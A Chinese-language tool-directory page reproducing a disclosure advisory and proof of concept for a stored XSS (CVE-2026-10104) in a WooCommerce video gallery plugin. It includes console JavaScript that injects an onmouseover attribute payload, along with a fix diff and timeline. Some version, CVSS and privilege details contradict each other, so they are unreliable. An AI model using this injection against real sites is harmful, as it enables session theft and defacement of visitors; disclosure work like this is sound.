Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/ravi-lk/cve-2026-10104-poc
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育
GitHubravi-lk/cve-2026-10104-poc

CVE-2026-10104-POC

Product Video Gallery for Woocommerce <= 1.5.1.8 - 认证存储型跨站脚本攻击概念验证

查看仓库
2472个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-10104:Product Video Gallery for WooCommerce 存储型跨站脚本漏洞

摘要

详情值
CVE 编号CVE-2026-10104
插件Product Video Gallery for WooCommerce
供应商TechnoSoft Webs (NikHiL Gadhiya)
类型存储型跨站脚本(Stored Cross-Site Scripting, XSS)
CWECWE-79 — 网页生成过程中输入未充分中和
CVSS 3.14.4(中危)
受影响版本≤ 1.5.1.6
修复版本1.5.1.9
需要认证是 — 投稿者(Contributor)及以上(任何可编辑产品的角色)
发现者Ravindu Lakmina Munaweera

描述

Product Video Gallery for WooCommerce WordPress 插件(版本 1.5.1.6 及以下)存在通过 custom_thumbnail 产品元参数触发的 存储型跨站脚本(Stored XSS) 漏洞。

该插件的 save_wc_video_url_field() 方法使用 sanitize_text_field() 对 custom_thumbnail[] POST 参数进行净化处理,该方法会去除 HTML 标签,但不会去除双引号(")字符。在前端,存储的值在 nickx_get_video_thumbanil_html() 中直接插入到 `` 标签属性中,且未使用 esc_attr() 进行转义。这使得经过身份验证的攻击者能够注入任意 HTML 事件处理属性(例如 onmouseover、onerror),这些属性会在任何访问受影响产品页面的访客(包括未认证用户)的浏览器中执行 JavaScript。


CVSS 3.1 向量

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
指标值
攻击向量网络
攻击复杂度低
所需权限低
用户交互无
影响范围变更
机密性影响低
完整性影响低
可用性影响无

受影响代码

输出点(无转义)

文件: public/class-rendering.php
方法: nickx_get_video_thumbanil_html()

// 第 365 行 — 插入值时未使用 esc_attr()
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
    ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
    : '';

// 第 379 行 — 在前端 public 环境中渲染到  标签内
echo '';

输入点(净化不足)

文件: admin/class-video-field.php
方法: save_wc_video_url_field()

// 第 309-310 行 — sanitize_text_field() 剥离标签但 NOT 双引号
if ( isset( $_POST['custom_thumbnail'] ) ) {
    update_post_meta( $post_id, '_custom_thumbnail', 
        array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}

概念验证

前提条件

  • 安装 WordPress 并启用 WooCommerce
  • 插件:Product Video Gallery for WooCommerce ≤ 1.5.1.6
  • 一个已配置 YouTube 视频 URL 的 WooCommerce 产品
  • 一个拥有产品编辑权限的账户(如商店经理、作者等)

复现步骤

  1. 以 商店经理(攻击者)身份登录。

  2. 导航至 产品 → 编辑 任意在“产品视频 URL”字段中设置了视频 URL 的产品。

  3. 打开 浏览器开发者工具(F12)→ 控制台 选项卡。

  4. 粘贴并执行以下 JavaScript:

const form = document.getElementById('post');

// 将缩略图 ID 设置为非空值(渲染条件所需)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }

// 通过 custom_thumbnail 注入 XSS 载荷
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
  1. 点击 “更新” 保存产品。

  2. 在 无痕/隐私窗口(未认证)中打开前端产品页面。

  3. 将鼠标悬停 在产品图库中的视频缩略图上。

  4. ✅ 弹出 JavaScript 警告框,确认存在存储型 XSS。

image image

渲染输出

注入的 " 闭合了 custom_thumbnail 属性,onmouseover 成为 `` 元素上一个可执行的属性。


影响

  • 存储型 XSS 在 公共前端 对所有访客(包括未认证用户)执行
  • 攻击者可窃取会话 Cookie 并劫持管理员账户
  • 攻击者可将客户重定向至钓鱼网站或恶意软件分发站点
  • 攻击者可篡改产品页面或注入加密货币挖矿脚本
  • 利用该漏洞只需 投稿者级别 的访问权限

修复方案

在将自定义缩略图值插入 HTML 属性之前应用 esc_attr():

- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
-     ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
-     : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
+     ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"' 
+     : '';

此修复应应用于 nickx_get_video_thumbanil_html() 中所有构造 $custom_thumbnail 的地方(包括数组和非数组代码路径)。


披露时间线

日期事件
2026-03-20发现漏洞
2026-03-20报告给 Wordfence(CNA)
2026-05-29分配 CVE 编号:CVE-2026-10104
2026-07-01公开披露

鸣谢

  • 发现者: Ravindu Lakmina Munaweera
  • CVE 分配者: Wordfence(CNA)
  • CVE ORG

参考资料

  • CVE-2026-10104
  • WordPress 插件页面
  • Wordfence 漏洞数据库条目
  • CWE-79:跨站脚本
  • OWASP XSS 防护速查表

许可证

此安全公告以 CC BY 4.0 许可发布。

下载工具